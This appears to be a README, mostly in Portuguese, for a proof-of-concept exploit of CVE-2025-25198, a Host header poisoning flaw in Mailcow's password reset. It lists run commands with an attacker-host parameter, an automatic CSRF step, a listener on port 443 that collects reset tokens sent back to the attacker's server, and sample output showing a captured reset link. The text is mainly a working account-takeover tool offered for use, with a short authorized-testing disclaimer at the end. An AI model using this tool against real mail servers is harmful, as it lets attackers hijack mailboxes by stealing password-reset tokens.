
PoC para CVE-2025-25198: teste automatizado de envenenamento de cabeçalho Host para Mailcow - ouvinte HTTPS, manipulação automática de cookies/CSRF, captura o primeiro link de redefinição.
Prova de conceito para CVE-2025-25198, um problema de envenenamento de cabeçalho Host que afeta os fluxos de redefinição de senha do Mailcow.
O script inicia um listener HTTPS local na porta 443, obtém automaticamente um token CSRF válido, envia a sequência de redefinição de senha com um cabeçalho Host envenenado e para quando um link de redefinição é recuperado, seja da resposta HTTP ou de um callback ao listener.
Host controlado.Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
Instale as dependências:
pip install -r requirements.txt
Valores entre colchetes angulares são espaços reservados. Substitua pelos seus próprios valores e não inclua os caracteres < ou >.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX> # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST> # IP or DNS name that the target can reach on TCP/443.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
Exemplo de saída:
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
Use HTTP/2 via httpx. Recommended for best parity with modern browsers.
--interval <seconds>
Seconds between attempts and listener wait windows. Default: 8
--max-attempts <N>
Stop after N attempts. Default: 0, which means retry indefinitely.
--cookie '<pairs>'
Seed the client cookie jar manually.
Example: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
Use a known CSRF token instead of auto-discovery.
--only-final
Hide progress logs and print only the final reset-link banner.
443.443 requer sudo ou root.https://<ATTACKER_HOST>/.server.pem e server.key são gerados automaticamente se estiverem ausentes.Este PoC é destinado a testes de segurança autorizados, ambientes de laboratório e verificação de vulnerabilidades. Não utilize contra sistemas sem permissão explícita.